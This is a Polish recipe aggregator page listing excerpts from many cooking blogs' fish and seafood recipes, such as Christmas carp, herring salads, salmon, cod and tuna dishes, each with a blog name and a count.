Karp przygotowany w nowatorskiej odsłonie to zdecydowanie przepis inny niż wszystkie i z pewnością stanie się hitem wigilijnej kolacji. Ryba przygotowana w chrupiącej panierce z aromatycznego koperku, pachnącej natki z pietruszki i wyrazistego szczypiorku uświetni każdą świąteczną kolację w rodzinnym gronie. Składniki: 4 płaty z karpia bez ości 1 duże jajko mąka olej masło sól pieprz cytrynowy Ziołowa panierka

Szalona Kuchnia Eweliny
Łosoś na parze z zieloną fasolką 151

Już nie raz pisałem o tym, że łosoś pomimo iż jest bardzo tłustą rybą , to ma wiele składników niezbędnych dla naszego organizmu, przede wszystkim są to kwasy omega-3. Tak więc tym razem na nasz stół trafił łosoś na parze z zieloną fasolką. Przepis i lista zakupów znajduje się poniżej… Łosoś na parze z zieloną fasolką – składniki: 250g

Kulinarnyblog.pl - wiesz jak gotować!
Karp wigilijny smażony i pieczony w piekarniku 129

odstawiamy na noc do lodówki. Następnego dnia na patelni rozgrzewamy kilka łyżek klarowanego masła, najpierw rumienimy na nim cebulę, kiedy nabierze złotego koloru zdejmujemy cebulę z patelni. W międzyczasie rybę skrapiamy sokiem z cytryny, panierujemy najpierw w mące, potem w  roztrzepanym jajku, a na koniec w lekko osolonej bułce tartej. Smażymy na klarowanym maśle, na rumiano z dwóch stron

Kulinaria - potrawy z różnych stron świata
Śledzie w majonezie z cebulą 124

dzień wcześniej, abyśmy mieli pewność, że składniki doskonale się połączą i będą tworzyć smaczną całość. Do przygotowania tych śledzi, użyjcie majonezu, który jest ostrzejszy w smaku i podbije smak ryby. Sprawdzi się tutaj na pewno Majonez Kielecki , którego używam od lat, niezależnie od dnia, święta czy humoru Zobacz też: Matias – śledź nad śledzie Sałatka śledziowa z cebulką marynowaną i jabłkiem

Kuchnia Bazylii
SAŁATKA ŚLEDZIOWA Z CURRY I RODZYNKAMI – idealna na Święta 107

wyłącznie naturalne składniki. Dostępna w ofercie jest nie tylko Vegeta Natur z curry, ale również Vegeta Natur pikantna z chili, Vegeta Natur do greckiej sałatki, Vegeta Natur do ryb i owoców morza, a także wiele wiele innych które znajdziecie tutaj . Sprawdźcie i wybierzcie coś dla siebie! WPIS POWSTAŁ WE WSPÓŁPRACY Z MARKĄ PODRAVKA Ps. więcej smakowitych przepisów Inspirowanych Naturą znajdziecie

Ostra na Słodko
Śledzie w sosie cebulowo pomidorowym 116

Śledzie przygotowane według przepisu na rybę w pomidorach . 500 g płatów świeżego śledzia, 3 cebule, 600 ml przecieru pomidorowego , 1 - 2 listki laurowe, 3 sztuki ziela angielskiego, 5 sztuk pieprzu czarnego, sól, cukier, olej do smażenia, Płaty śledzi oprószyć mąką i usmażyć na tłuszczu, rumieniąc z obu stron. Cebule obrać, pokroić w półplasterki, podsmażyć na oleju dodając szczyptę soli

królestwo garów
Mintaj w kukurydzianej panierce (z płatkami kukurydzianymi) 138

Mintaj w kukurydzianej panierce (z płatkami kukurydzianymi) Pyszny, chrupiący sposób na świąteczną (i codzienną) rybę. Tak przygotowany mintaj idealnie smakuje w towarzystwie kubka domowego czerwonego barszczu (polecam) lub w z ziemniakami i kiszoną kapustą. Sposób podania oczywiście zostawiam Wam Spróbujcie Składniki: (ilość można zwiększyć, w zależności od potrzeb) około 300 g polędwicy z mintaja (można również użyć mrożonych płatów

Słodkie okruszki
Pstrąg pieczony w szalotkach 139

Prosty przepis na smaczną, pieczoną rybę. Składniki 1 kg filetu z pstrąga 3 szalotki 50 ml cytrusowego sosu sojowego 3 łyżki oleju sezamowego 2 łyżki jasnego sosu sojowego 1 pęczek natki pietruszki pieprz Przygotowanie Filety dzielimy na mniejsze kawałki, usuwamy ości. Sosy, olej, pokrojone na talarki szalotki, posiekaną natkę mieszamy, doprawiamy pieprzem. Przelewamy do większego naczynia, układamy filety, skórą

R'n'G Kitchen
Śledzie w pomidorach 92

Śledzie w pomidorach według przepisu z broszury p. Florentyny „100 przepisów przyrządzania ryb morskich”, z 1930 roku. W przepisie oryginalnym podane jest aby użyć 4-5 pomidorów świeżych, lub odpowiednią ilość konserwy pomidorowej. Ja użyłam domowy przecier pomidorowy . 500 g płatów świeżego śledzia, 600 ml przecieru pomidorowego, 2 – 3 marchewki, 1 łyżka mąki, 1 łyżka masła, tłuszcz do smażenia, sól

królestwo garów
Pasta rybna z koperkiem 117

rybna z koperkiem Składniki: 1 makrela wędzona 2 ogórki kiszone 1 średnia cebula szczypta soli i pieprzu 2 łyżki majonezu 1 łyżka posiekanego koperku Pasta rybna z koperkiem Wykonanie: Rybę obrać z ości i widelcem rozdrobnić na mniejsze kawałki. Cebule pokroić w drobną kostkę. Ogórek jeżeli ma zbyt grubą skórkę to obrać i też pokroić w drobną kostkę, dodać koperek

Pomysłowa kuchnia
Przysmak rybny 140

Rozgnieść w misce widelcem. Cebulę pokroić w drobną kostkę i sparzyć wrzątkiem na sitku. Odstawić do wystygnięcia. Papryki, korniszony i rzodkiewkę również  pokroić w kostkę. Wymieszać wszystko z rybą i koperkiem. Skropić delikatnie octem lub sokiem z cytryny, dodać kilka kropel maggi, popieprzyć i ewentualnie posolić. Podawać z pieczywem posmarowanym masłem

Kulinarne przemyslenia
Dorsz z pesto i makaronem 196

którego dno wysmaruj pozostałą oliwą wymieszaną z winem. Wstaw do nagrzanego piekarnika (180 stopni) na ok. 20 minut. Ugotuj makaron al dente. Odcedź. Wymieszaj z sosem pozostałym z pieczenia ryby. Ja często dodaję jeszcze pesto jeśli trochę zostanie.Serwuj z cząstkami cytryny. Artykuł Dorsz z pesto i makaronem pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Łosoś ze szpinakiem 134

szpinaku 3 ząbki czosnku 180 g śmietany 18% sól pieprz olej mąka cytryna Przygotowanie: Myjemy i osuszamy łososia oraz szpinak. Przyprawiamy filet solą, pieprzem i obtaczamy w mące. Kładziemy rybę na rozgrzaną patelnię skórą do dołu. Smażymy po 8 minut z każdej strony. W międzyczasie kroimy czosnek w plasterki, wrzucamy do gorącego rondelka, cały czas mieszamy. Po minucie dodajemy szpinak

CityTaste - Przepisy
Kmin rzymski – właściwości zdrowotne 162

kuchni Jest stosowany w kuchni jako przyprawa do dań. Występuję w ziarenkach lub zmielonej formie. Jest aromatyczny i pikantny, posiada nieco gorzki smak. Używany najczęściej do mięs, zup, ryb i gulaszów. Sprawdza się w połączeniu z warzywami strączkowymi, kapustą kiszona oraz jako dodatek do ryżu i kasz. Niekiedy bywa tak, że jesteśmy nieświadomi tego, ile dobra może płynąć z dobrze

Kulinarnyblog.pl - wiesz jak gotować!
Łosoś faszerowany serkiem i szpinakiem 153

Bardzo smaczny, szybki i efektowny sposób podania łososia. Delikatny, kremowy farsz wzbogaca smak ryby. Do tak przygotowanego łososia doskonale pasuje świeża sałata z pomidorkami i pieczone ziemniaczki. 2 filety z łososia po 100 g sól morska świeżo zmielony pieprz  oliwa łyżka masła Farsz: 3 łyżki twarożku naturalnego kremowego 3 łyżki rozmrożonego szpinaku 2 łyżki startego żółtego sera sól, pieprz

Smakołyki Asi
CZERWONA PASTA Z WĘDZONEJ MAKRELI 154

szczypta chili w proszku, 1/2 łyżeczki słodkiej czerwonej papryki WYKONANIE Makrelę oczyszczamy ze skóry i ości, przekładamy do miski. Dodajemy twarożek, koncentrat pomidorowy oraz przyprawy. Wprost do miski z rybą ścieramy na tarce (o dużych oczkach) czosnek i szalotkę, dodajemy posiekaną natkę pietruszki i dokładnie mieszamy. W drugiej misce ucieramy/miksujemy masło na puch. Stopniowo, cały czas miksując dodajemy po łyżce

cool and minty
Szczupak z dorszem na maśle czosnkowym 151

Składniki filet szczupaka filet dorsza natka pietruszki kostka masła 8 ząbków czosnku sól sok z cytryny Przygotowanie Do miękkiego masła wmieszać przeciśnięty przez praskę czosnek. Rybę pokroić na kawałki posolić do smaku. Smażyć filety na rozgrzanej patelni z masłem czosnkowym (połowa kostki wystarczy) z oby dwóch stron po ok 1 min.  Na końcu wmieszać posiekaną natkę i skropić sokiem

Gaździnka warzy
Pstrąg faszerowany z piekarnika 102

nasady głowy i ogona nożyczkami. Całość skrapiamy obficie cytryną i odkładamy do lodówki. Ser mieszamy widelcem z ziołami, formujemy w rękach dwa wałeczki i wkładamy je do wnętrza ryb. Zamykamy i układamy je pionowo lub leżąco w naczyniu żaroodpornym. Skrapiamy oliwą posypujemy ziołami (tymianek, oregano) i pieczemy ok 25-30 min w temp 200 st. Podajemy z ziemniakami z wody

Gotowanie jest łatwe
Smażone spring rollsy z łososia / Fried spring rolls with salmon 177

mielony czarny pieprz 3 łyżki oleju kokosowego (bezzapachowego) Do podania: 1 łyżka jasnego sezamu 1 łyżeczka czarnuszki 1/4 szkl. sosu sojowego 2 ogórki gruntowe Sezam zrumień na suchej patelni. Rybę pokrój na 4 małe fileciki o wymiarach 3x7 cm. Oprósz pieprzem i skrop sokiem z cytryny.  Arkusz paprieru ryżowego zanurz na 2 sekundy w lekko ciepłej wodzie, rozłóż

Delicious Place
Pstrąg z patelni w towarzystwie cukinii i makaronu 124

położyłam na nim pstrąga, obok dałam cukinię i czosnek oraz kapary, dolałam wodę. Całość przykryłam pokrywką i na mniejszym ogniu dusiłam koło 7 minut. Na talerz wyłożyłam ugotowany makaron, rybę i warzywa – pyszny letni obiad gotowy.   Pstrąg z patelni w towarzystwie cukinii i makaronu

Kuchnia na wzgórzu
Zapiekanka warzywna z tuńczykiem i serem 325

Najlepiej użyć swoich ulubionych, bo wtedy przynajmniej będzie pewność, że będzie smakowało. To samo tyczy się rodzaju białka, nie musi to być tuńczyk, a możecie użyć mięsa czy innej ryby. Dodatkowo ryż, który występuje w mojej wersji możecie zamienić np. na makaron czy kaszę. Jedno się nie zmienia-ser! W każdej wersji musi znaleźć się obowiązkowo. 😀 (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszam

Zdrowie i pysznie na talerzu
Łosoś ze szparagami i kaszą bulgur 130

Sezon na szparagi w pełni, więc przedstawiam moją propozycję obiadową. Jedna z moich ulubionych kasz, czyli bulgur z ulubioną rybą, a więc łososiu pieczonym w marynacie z sosu sojowego a do tego oczywiście pyszne zielone szparagi. Taki obiad nie dość, że jest bardzo zdrowy to doskonale syci,  ładnie prezentuje się na talerzu i robię się go sprawnie i szybko

Healthy food explorer
Krewetki w kremowym sosie z czosnkiem i ziołami 128

cytryną to kwas w niej zawarty już zmienia ich konsystencję. Dlatego wolę dodać sok z cytryny do sosu, a całe danie podać z dodatkową cytrynową ósemką. Nie wyobrażam sobie ryb i owoców może bez cytryny! Krewetki w kremowym sosie Składniki: na 4 porcje ½ kg dużych, surowych krewetek 1 łyżka oliwy 1 łyżeczka ostrej papryki po ¼ łyżeczki czarnego pieprzu, granulowanego czosnku

codojedzenia
Łosoś na sianie 102

będzie udana i zaowocuje długoletnim związkiem, to jeszcze wiele lat później będziecie tego łososia wspominać. Ma on jeszcze jedną podstawową zaletę. Właściwie prawie nic nie trzeba przy nim robić. Ryby ogólnie robi się łatwo, ale ten łosoś to już naprawdę robi się sam. Bo przecież lepiej poświęcić czas na samo szykowanie się do randki, niż na siedzenie w kuchni. Jest

Marder&Marder Manufacture
Burger rybny (fishburger) 105

curry „Winiary” w butelce Przygotowanie: Kotleciki: Bułkę namoczyć w mleku, odcisnąć i przełożyć do miseczki. Szalotkę posiekać, zeszklić na maśle i dołożyć do bułki. Dodać posiekaną rybę, natkę pietruszki, sól i pieprz. Wyrobić dłonią na jednolitą masę. Formować kotleciki, obtoczyć je w roztrzepanym jajku, następnie w bułce tartej. Smażyć na rozgrzanym tłuszczu z dwóch stron na złoty kolor

Oryginalny smak
Spaghetti z łososiem w sosie z cukinii 140

Zmiksowaną masę przelać do łososia, wymieszać i dusić pod przykryciem, aż sos lekko zgęstnieje. Makaron ugotować al dente według instrukcji na opakowaniu. Pietruszkę umyć, drobno posiekać i dodać do ryby i sosu. Chwilę gotować, następnie dodać odcedzony makaron, wymieszać i dobrze doprawić całość solą i pieprzem. Podawać udekorowane świeżą bazylią lub innymi ziołami

Passions hobbies life
Dorsz po krymsku 101

mące, usmażyłem na oleju na złoty kolor z obu stron. Następnie przełożyłem dorsza do żaroodpornego naczynia, posypałem pokrojoną papryką. Zrobiłem sos ze śmietany przyprawionej sola i słodką papryką. Polałem ryby. Zapiekałem w piekarniku w temperaturze 200 stopni C przez 20 minut. Podałem z pieczonymi młodymi ziemniakami

R'n'G Kitchen
Łosoś w sosie śmietanowo-musztardowym 299

oleju około 5 minut (czas smażenia zależy od grubości poszczególnych kawałków!). Usmażonego łososia zdejmujemy z patelni i przekładamy do garnka, przykrywamy, by nie tracił ciepła. Na patelnię po smażeniu ryb wykładamy musztardę. Mieszamy dokładnie. Następnie dodajemy kwaśna śmietanę i ciągle mieszając zagotowujemy. Do sosu dodajemy posiekaną natkę pietruszki, posiekany koperek oraz żółtko. Mieszamy do uzyskania gładkiej konsystencji. Doprawiamy solą oraz

Smaki Na Talerzu
Dorsz zapiekany z boczkiem i musem jabłkowym 136

owoce. Właściwie pasują do każdego dania – na słodko i wytrawnie. Mięso - czy to drób, dziczyzna, czy wieprzowina - w połączeniu z jabłkami tworzą idealny duet, ale jak to będzie z rybą? Dlatego dziś zapraszam Was po nieco odmienny od tych tradycyjnych połączeń przepis. Z całego serca polecam dorsza zapiekanego z boczkiem i musem jabłkowym! Przepis przetestowałam na mojej rodzinie, więc spokojnie

Kulinarne przygody Gatity
Łosoś w papilotach z warzywami 135

paczuszki. Boczne brzegi także ciasno skręcamy. Szczelnie zamkniętą paczuszkę układamy na blachę do pieczenia, wstawiamy do piekarnika i pieczemy 18-20 minut – długość pieczenia zależy od grubości filetu ryby – ja miałam gruby na 2cm, więc piekłam 20 minut. Gotową, gorącą porcję układamy zawiniętą w papilocie na talerzu, otwieramy i przed wbiciem widelca rozkoszujemy się smakowitym aromatem. Powrót

Smaczna Strona
Dorsz z warzywami 174

Składniki: 2 porcje polędwicy z dorsza 100 g kaszy kuskus kawałek cukinii garść pomidorków koktajlowych 2 ząbki czosnku 1 łyżka posiekanego koperku sól, pieprz Przygotowanie: Rybę posypać solą i pieprzem, … Czytaj dalej Dorsz z warzywami

czarrna od kuchni
Pieczony łosoś ze szparagami w sosie miodowo-musztardowym (Salmone al forno con asparagi e salsa alla senape e miele) 137

oliva sale, pepe PRZYGOTOWANIE Filety z łososia skrapiamy sokiem z cytryny, oprószamy solą i pieprzem, po czym odstawiamy do lodówki na ok. 30 minut. Rybę układamy na natłuszczonej formie sk ó rką do dołu. Zapiekamy ok. 15-20 minut w piekarniku nagrzanym do 175 stopni. Oczyszczone szparagi gotujemy na parze

La grande e la piccola cuoca
Polędwica z dorsza z ratatouille 236

wiem czy wiecie ale ze względu na swoje właściwości zdrowotne powinniśmy jeść ryby co najmniej 3 razy w tygodniu. Właśnie dlatego tym razem przygotujemy pyszne danie, a będzie to polędwica z dorsza z ratatouille. Pewnie nie wszyscy wiedzą co to jest ratatouille – otóż to danie wywodzące się z kuchni prowansalskiej. Jest ono uwielbiane przez Francuzów. Jej głównymi składnikami jest

Kulinarnyblog.pl - wiesz jak gotować!
Pasta rybna z wędzonej makreli 141

biały chudy 250 g makrela wędzona około 250 g cebula sól pieprz zielona cebulka lub szczypiorek Makrelę podzielić na kawałki, usunąć ości. Do miski przełożyć ser biały i rybę, a następnie rozgnieść widelcem. Cebulę pokroić w bardzo drobną kostkę i przełożyć do miski. Przyprawić wedle uznania solą i pieprzem, całość wymieszać. Wierzch posypać zieloną cebulką lub szczypiorkiem (w misce bądź

Karola gotuje
Frittata z tuńczykiem i szparagami w wiosennych ziołach 165

Tuńczyk w oleju lub w sosie własnym to bardzo uniwersalna w zastosowaniu ryba. Można dodać ją do sałatki, do sosu do makaronu, do zapiekanki.... można by mnożyć  warianty pysznych dań. Wiadomo że najprostsze dania często  są najlepsze, najsmaczniejsze. Takim daniem jest frittata. W masie jajecznaj można zatopić zdrowe szparagi, aromatycznego tuńczyka i zioła które lubicie. I taką właśnie

Gotuj Sam!
PANNA COTTA Z TUŃCZYKA NA SEROWYM CIASTECZKU Z KAWIOREM WIŚNIOWYM 137

ciasto. Wałkujemy, wycinamy, pieczemy na złoto ( ok. 13-15 minut/200C ). PANNA COTTA Z TUŃCZYKA: Żelatynę zalewamy wodą, odstawiamy do napęcznienia. Tuńczyka osączamy z zalewy i miksujemy. Ps. Jeżeli użyliśmy ryby w oleju możemy pozostawić troszkę zalewy i dodać do tuńczyka. Jeśli natomiast użyliśmy tuńczyka w sosie własnym możemy dodać odrobinę rozpuszczonego masła. Rozpuszczoną żelatynę łączymy ze śmietaną, odrobinę podgrzewamy

Ostra na Słodko
Dietetyczny obiad z łososiem i warzywami na parze 169

Planuje pozbyć się kilku kilogramów, ale nie jest to łatwe. Nie lubię diet ani niesmacznych dietetycznych dań. Będę szukała czegoś co będzie mi smakowało mimo że

Kuchnia Pokoleń
Dufinki Ziemniaczane Z Tuńczykiem, Serem I Botwinką 145

oknem już wiosna w pełni, a czasem nawet przeplata się z latem, postanowiłam włączyć do tych kuleczek trochę zielonego i trochę czegoś zdrowszego, a mianowicie botwinkę i ryby. Połączenie okazało się bardzo smaczne, a za sprawą tuńczyka zyskało na wartościach odżywczych gdyż tuńczyk to źródło białka oraz niezbędnych, nienasyconych kwasów tłuszczowych. Dostarcza nam także witaminy A, B i D, fosfor

Gotowanie...to proste !
Wiosenna przekąska z Tuńczykiem 176

Uwielbiam szybkie przekąski z wykorzystaniem ryb i warzyw . Często takie robię a moi goście czy domownicy są zachwyceni tak szybką i pyszną przystawką.   Dziś zapraszam na przekąski z piekarnika , podawane na małych krążkach wyciętych z tortilli, z nadzieniem z warzyw i tuńczyka Princes z sosem BBQ. Polecam wszystkim :)  Składniki na ok 40 krążków o średnicy

Gotowanie Patki
Tatar z tuńczyka podany na ziemi leśnej. 157

Ryby mogłabym jeść co dziennie, uwielbiam pod każdą postacią. Dziś danie specjalne lekkie, pyszne zdrowe i co ważne fit.Pyszny tatar z tuńczyka podany na ziemi z lasu.#MasterTuńczyk składniki 1 opakowanie tuńczyka Princess 1 cebula czerwona 1 ogórek kiszony 1 papryka czerwona marynowana sos 1 łyżka musztardy 1 łyżka glassy balsamicznej Dekoracje grzybki marynowane 1 papryka

Kulinarne pyszności Molki
Domowe "oszukane" sushi bez zawijania 145

Dzisiaj prosty i szybki  sposób na domowe sushi bez zawijania. Nie należę do osób, które przepadają za glonami, czy surowymi rybami, ale lubię ryż i tuńczyka, dlatego kiedy wpadłam na pomysł tego "oszukanego" sushi  pomyślała, że jest idealny dla mnie. Wystarczy kilka prostych składników: ryż (koniecznie jaśminowy), tuńczyk w sosie własnym np. Princes, zielony ogórek, por i nasz

Bon appetit mon amie
Pokrzywowe pierogi z tuńczykiem 156

Wiosenne pierogi z pokrzywą młodą i tuńczykiem w roli głównej. Tuńczyk jest bardzo dobrą rybą nie tylko do sałatek ale także do farszów. W połączeniu z ryżem świetnie pasuje do pierogów. Podałam je z pysznym sosem holenderskim. Tuńczyk Princes jest idealny do tego bo ma fajne duże kawałki, a ja właśnie takie lubię. #MasterTuńczyk   ciasto: 20 dkg mąki pszennej

wesoła kuchnia
TAJSKIE CZERWONE CURRY Z RYBĄ 224

Pachnące trawą cytrynową, kaffirem, imbirem i kokosem curry to jedno... Artykuł TAJSKIE CZERWONE CURRY Z RYBĄ pochodzi z serwisu CookMagazine

COOKMAGAZINE
Grillowany łosoś – szybko i smacznie 181

Wiele osób zastanawia się co można grillować? Odpowiadam – wszystko, to na co macie w danym momencie ochotę. Możemy grillować mięso, warzywa, ryby, a nawet owoce na przykład truskawki. Jednak w tym wpisie pokażę Wam jak przygotować marynatę i jak upiec łososia na grillu. Grillowany łosoś to danie niezwykle aromatyczne, a sami również wiecie, że zawiera on w sobie bardzo

Kulinarnyblog.pl - wiesz jak gotować!
Pomysł na… dorsza z orkiszem 145

łyżki oliwy z oliwek. Sos zagrzałam, doprawiłam majerankiem i tymiankiem. Orkisz to nic innego, jak mój ulubiony Trendy Lunch: orkisz, vermicelli, suszone pomidory. Porcja to ok. 150 g ryby, 70 g orkiszu i 3 łyżki sosu. Całość ma ok. 490 kcal

Kucharzyca
Pstrąg łososiowy ze szpinakiem i suszonym pomidorem 190

niego zrobiłam marynatę z oliwy, miody, cynamonu i odrobiny cytryny, poddusiłam szpinak na patelni z czosnkiem, suszonym pomidorem, i śmietanką, potem wszystko zapiekłam w piekarniku. Wyszło pyszne, my ryby lubimy bardzo, mam nadzieje, że Wam też posmakuje :-) Składniki: 1 filet pstrąga łososiowego u mnie około 400 g 1/2 opakowania szpinaku baby 6 sztuk suszonych pomidorów 2 ząbki czosnku sól pieprz

kruche babeczki
Śledzie po wiejsku – lekka sałatka śledziowa 272

Śledzie nigdy chyba mi się nie znudzą, można podać je na tak wiele sposobów … Żadnym problemem nie też jest dopasowanie ich do pory roku, w której

Karo in the Kitchen
Dorsz z chrupiącą szynką parmeńską, cukrowy groszek, szparagi i pomidorki koktajlowe z czosnkiem 97

jest niezbyt gruby lub po dwie minuty jeżeli jego grubość jest większa niż 2 cm. Podaję danie: podsmażony groszek, szparagi i pomidorki z czosnkiem przekładam na talerz, obok układam rybę. Wierzch dania posypuję pokruszonymi chipsami z szynki i dekoruję danie natką z pietruszki. Podaję od razu.  Smacznego, Klaudia

Mango Papaja
Makaron z łososiem i szpinakiem 140

sosie śmietanowy podany z makaronem, który uwielbiam w każdej postaci. Łosoś i szpinak wydawał mi się dziwnym połączeniem dopóki nie spróbowałam tego dania. A jeśli chcielibyście spróbować tej ryby w nieco innym wydaniu polecam też łososia z sosem tajskim ( kilk ). Polecam obydwa dania. MAKARON z ŁOSOSIEM i SZPINAKIEM Składniki: (2 porcje) makaron spaghetti lub inny dowolny 150 g łososia sól

Bon appetit mon amie
Spring rolls, czyli świeże sajgonki 174

wszystkim podniebienie, bo smakuje naprawdę znakomicie. Najlepsze są na wiosnę, jak sama nazwa zresztą wskazuje:) Nasze polskie sajgonki to jedna z tych nazw w stylu fasolka po bretońsku i ryba po grecku. Na całym świecie azjatyckie krokiety z papieru ryżowego, lub z cienkich omletów znane są jako „spring rolls” co jest angielskim bezpośrednim tłumaczeniem z chińskiego „chun

Niedzielny kucharz
Cytrusowy tatar ze śledzi 114

Cytrusowy tatar ze śledzi to innowacyjny pomysł na danie ze śledziami. Owocowy smak połączony z kwaśnym octem świetnie przenika i pasuje do tych ryb. Tatar nie tylko ładnie i kolorowo się prezentuje, ale też dobrze smakuje. CYTRUSOWY TATAR  ZE ŚLEDZI Składniki: 1 słoik filetów śledziowych w oleju wiejskim Beczka Śledzi Seko 2 pomarańcze 1 limonka skórka otarta

Bon appetit mon amie
Mus z tuńczyka. 176

efektowne danie. Na wielkanocnym stole nie może zabraknąć pasztetów czy galaret. Mus z tuńczyka  jest czymś pośrednim, wygląda jak pasztet, a zrobiony jest jak galareta. Tuńczyk to ryba o niezbyt wyrazistym smaku. Dobrze jest dodać do niego coś ,,z pazurem". U mnie są to oliwki, kapary i chili.  Innymi składnikami, które będą komponowały się smakowo z tuńczykiem będę

Codziennik Kuchenny
Sałatka z soczewicą konserwową i łososiem lub tuńczykiem 136

każdą okazję i zapewniam, że zachwyci smakiem niejedną osobę. U mnie sprawdziła się już niejednokrotnie z dodatkiem łososia, jak również tuńczyka, więc to już od Was zależy, której ryby użyjecie. Zresztą sami spróbujcie i przekonajcie się, że w każdej wersji jest rewelacyjna! 1 puszka łososia lub tuńczyka 1 puszka soczewicy (u mnie Bonduelle ) 1/2 puszki kukurydzy (użyłam porcji

Di gotuje
TATAR ŚLEDZIOWY Z GRZYBAMI SHITAKE / KRUCHA TARTALETKA / ŚMIETANA WASABI / KAWIOR Z OGÓRKA KISZONEGO 182

Śledzie to taka ryba, którą jedni kochają, a inni wręcz przeciwnie. Ja przyznaję, ż kiedyś nie bylam ich miłośniczką, ale zmieniło się to kilka lat temu, kiedy moja mama przeszła samą siebie przygotowują najlepsze na świecie śledzie po kaszubsku. Od tamtej pory z wielka przyjemnością jem je zarówno w postaci sałatek, jak i np. obiadowych zapiekanek. Dziś jednak nie zapiekanką

Ostra na Słodko
KETO SUSHI (keto, LCHF, optymalne, bez glutenu) 156

sztuki) awokado 70 g ogórka świeżego 70 g papryki czerwonej do podania dodatki typu imbir konserwowy, wasabi, sos sojowy opcjonalnie inne dodatki do wypełnienia np paluszki surimi, krewetki, ryby, sezam czarny Kalafiora umyć, osuszyć, podzielić na różyczki a następnie zblendować do konsystencji ryżu. Następnie ryż podprażyć na suchej patelni mieszając od czasu do czasu aż nabierze złotawego koloru i będzie

Ola la LCHF
Jajka faszerowane wędzonymi szprotkami 151

Pamiętacie przepis na jajka faszerowane pieczarkami ? Dziś przyszedł czas na kolejny smakowity przepis. Osobiście średnio przepadam za wędzonymi rybami, a zwłaszcza szprotkami jednak w formie farszu do jajek mam do nich zupełnie inne nastawienie. Takie jajka to dla mnie klasyka. Co roku wraz z mamą przygotowywałam je na wielkanocne śniadanie i zawsze wszystkie znikały. Jeśli jeszcze takich nie jedliście

Życie ze smakiem
Burgery ze śledzi z kaszą gryczaną i ogórkiem 163

Mój przepis na burgery ze śledzi nie jest oczywisty, bo do ryby dodałam suszone owoce. Taki kotlet nadaje się zarówno na obiad z kaszą gryczaną i ogórkiem kiszonym, jak również do buły, jako składnik pożywnej kanapki (fishburgera). Burgery ze śledzi powstały dosyć spontanicznie. Kupiłam tuszki śledzi, miałam je upiec, ale jakoś zupełnie nie miałam ochoty na pieczone śledzie. Tego dnia

Dietolog
Pstrąg z piekarnika 209

łyżeczki kawałki masła.  W nacięcia które zrobiliśmy wcześniej również wkładamy po kawałeczku masła  (najlepiej zimnego łatwiej wtedy wykonać tą czynność ). Soli i pieprzu używamy również na zewnątrz ryby szczególnie w miejscach nacięć. Przygotowane pstrągi układamy na blasze do pieczenia wyłożonej papierem do pieczenia i skrapiamy na koniec sokiem z cytryny  Pieczemy w 190 oC przez

Mechanik w kuchni
Pieczony łosoś z sosem tajskim i soczewicą 153

kroimy i szklimy na oleju kokosowym, potem dodajemy odrobinę przyprawy garam masala lub tandori. Następnie dolewamy mleko kokosowe. Kiedy mleko się zagotuje zdejmujemy z ognia, doprawiamy sosem rybnym. Upieczoną rybę układamy na ugotowanej soczewicy a całość polewamy sosem. (sos przed podaniem można przecedzić przez sito,aby nie było w nim kawałków szalotki

Bon appetit mon amie
Rybka na ziemniakach 109

Ryby ubóstwiam i choć nie zawsze uda się kupić super świeżą, czyli najpyszniejszą- to i tak gotuję je często. Dzisiaj przepis zainspirowany potrawą, którą miałam okazję jeść we Włoszech. Oczywiście zmodyfikowany no i, że tak brzydko napiszę, nieco "spolszczony". Cudownie smacznie było, więc możecie korzystać z tej receptury bez obaw! :) Czytaj więcej

Pichceniomania
Pasta jajeczna z wędzoną makrelą 179

smak. Pamiętam, że gdy byłem mały i na pułkach sklepowych nie wszystkie produkty były dostępne, rodzice często przygotowali pasty kanapkowe. Pasta jajeczna, warzywna, na bazie ryb w puszce „ Awanturka ”. Są łatwe w przygotowaniu, od razu „spreparować” ilość na 2 dni oraz koszt produktów nie zabija.   Zauważyłem zresztą

kuron.com.pl
Piątek: Pieczony łosoś z warzywami i kaszą jaglaną 139

Pieczony łosoś z warzywami i kaszą – wystarczy pięć składników i 20 minut, żeby wyczarować to pełnowartościowe, zdrowe danie. Pokochasz je nawet jeśli nie przepadasz za rybami. Warzywa w roli głównej Pieczony łosoś w tej sałatce jest, ale jakby go nie było W tym daniu rządzą upieczone, słodkie warzywa: batat, dynia i niesamowicie smaczna brukselka. Kasza jaglana i łosoś

Niedzielny kucharz
Grillowana dorada i pieczony wężymord 119

czyli wężymord to pyszne i zapomniane warzywo i czas sobie o nim przypomnieć na nowo. W większych sklepach można już je zakupić. Dziś danie z pieczonym wężymordem i grillowaną rybą, rezultat pyszny obiad, zapraszam. Grillowana dorada i pieczony wężymord. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z soczewicy czarnej i tuńczyka 213

Sałatka z soczewicy i tuńczyka to mój pomysł na dzisiejszy obiad z rybą w roli głównej. Choć główną rolę w tym przypadku skradła soczewica. Do przygotowania tej sałatki wybrałam czarną soczewicę Beluga, która ma piękny kolor i fakturę. Czarna soczewica przypomina mi trochę kawior. Wiem, że rzadko można ją spotkać w sklepach, ale jak spotkacie, kupcie i wypróbujcie, jest

Dietolog
Łosoś w sosie śmietanowym z bazylią, suszonym pomidorem i żurawiną 150

Składniki: 300-400 g filetu z łososia 100 ml śmietanki 30% 7-8 suszonych pomidorów listki świeżej bazylii  1 szklanka żurawiny sól pieprz kurkuma olej do smażenia 1. Rybę myjemy, osuszamy ręcznikiem papierowym i oprószamy z obu stron solą i pieprzem.  2. Pomidory kroimy w paseczki. Na patelni rozgrzewamy odrobinę oleju. Na rozgrzany olej kładziemy podzielonego na porcje

kruche babeczki
Kardamon i jego właściwości 274

proszku, nasion lub strączków. Możemy ja rozpoznać poprzez cytrynowo – imbirowy zapach. Jeżeli chodzi o smak to jest słodko – ostry z korzenną nutą. Stosowany jest on przede wszystkim do mięs, ryb ale również do słodkich i ostrych potraw. Natomiast jego korzenny smak wykorzystywany jest przede wszystkim do ciasteczek, lodów, deserów a także często stosowane do przyrządzenia pysznej kawy . Jakie właściwości odżywcze

Kulinarnyblog.pl - wiesz jak gotować!
Kremowa zapiekanka ze szpinakiem i łososiem 159

